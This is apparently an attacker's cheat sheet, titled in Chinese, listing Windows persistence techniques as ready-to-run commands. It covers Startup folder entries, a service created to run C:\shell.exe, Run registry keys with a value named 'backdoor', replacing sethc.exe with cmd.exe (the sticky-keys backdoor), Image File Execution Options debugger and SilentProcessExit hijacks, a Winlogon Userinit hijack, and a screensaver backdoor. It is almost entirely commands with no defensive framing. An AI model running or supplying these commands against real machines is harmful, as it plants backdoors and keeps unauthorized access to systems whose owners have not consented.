【权限维持】Windows&自启动&映像劫持&粘滞键&辅助屏保后门&WinLogon

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

sc create ServiceTest binPath= C:\shell.exe  start= auto
sc delete ServiceTest

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\shell.exe"

c:\windows\system32\sethc.exe
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe		本质还是进行程序替换

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\shell.exe"

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "userinit,C:\shell.exe"

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\shell.exe" /f